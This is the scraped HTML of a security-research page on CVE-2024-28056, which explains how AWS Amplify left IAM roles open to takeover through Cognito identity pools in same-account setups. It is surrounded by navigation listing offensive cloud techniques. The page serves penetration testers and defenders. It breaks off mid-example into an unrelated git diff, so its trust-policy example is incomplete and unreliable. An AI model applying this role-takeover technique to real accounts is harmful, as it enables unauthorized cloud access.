class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#unauthenticated-example class=md-nav__link> <span class=md-ellipsis> Unauthenticated Example </span> </a> <nav class=md-nav aria-label="Unauthenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#authenticated-example class=md-nav__link> <span class=md-ellipsis> Authenticated Example </span> </a> <nav class=md-nav aria-label="Authenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit_1 class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#background class=md-nav__link> <span class=md-ellipsis> Background </span> </a> </li> <li class=md-nav__item> <a href=#unauthenticated-example class=md-nav__link> <span class=md-ellipsis> Unauthenticated Example </span> </a> <nav class=md-nav aria-label="Unauthenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#authenticated-example class=md-nav__link> <span class=md-ellipsis> Authenticated Example </span> </a> <nav class=md-nav aria-label="Authenticated Example"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#steps-to-exploit_1 class=md-nav__link> <span class=md-ellipsis> Steps to Exploit </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover</a> by <a href=https://x.com/Frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p><a href=https://aws.amazon.com/security/security-bulletins/AWS-2024-003/ >AWS Security Bulletin: CVE-2024-28056</a></p> </li> </ul> </div> <h2 id=background>Background<a class=headerlink href=#background title="Permanent link">&para;</a></h2> <p>In April of 2024, Security Researchers at <a href=https://securitylabs.datadoghq.com/articles/amplified-exposure-how-aws-flaws-made-amplify-iam-roles-vulnerable-to-takeover/ >Datadog</a> found a vulnerability in the <a href=https://aws.amazon.com/amplify/ >AWS Amplify</a> service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-identity.html>Cognito identity pool</a> could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.</p> <p>In response to this, AWS made a number of changes to IAM and the <a href=https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html>AWS Security Token Service</a> (STS) APIs. In particular, this involved:</p> <ul> <li>Releasing a fix to the <a href=https://github.com/aws-amplify/amplify-cli/releases/tag/v12.10.1>Amplify CLI</a> and Amplify Studio preventing the creation of more vulnerable roles.</li> <li>Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.</li> <li>Made changes to the STS service to <strong>block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service</strong>.</li> </ul> <p>This final fix is interestingly specific. AWS only made changes to block <strong>cross-account</strong> role assumption, not <strong>same-account</strong> role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html>basic (classic) authflow</a> enabled.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p><strong>To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource</strong>, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.</p> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.</p> </div> <h2 id=unauthenticated-example>Unauthenticated Example<a class=headerlink href=#unauthenticated-example title="Permanent link">&para;</a></h2> <p><a class=glightbox href=../../../../images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Unauthenticated Scenario" src=../../../../images/aws/exploitation/exploit_amplify_vulnerability_in_same_account_scenario/unauth_same_account_scenario.png></a></p> <p>In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
index 92fd05ec7..c08ceff62 100644
--- a/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=canonical><link href=../exploit_amplify_vulnerability_in_same_account_scenario/ rel=prev><link href=../misconfigured_ecr_resource_policy/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet 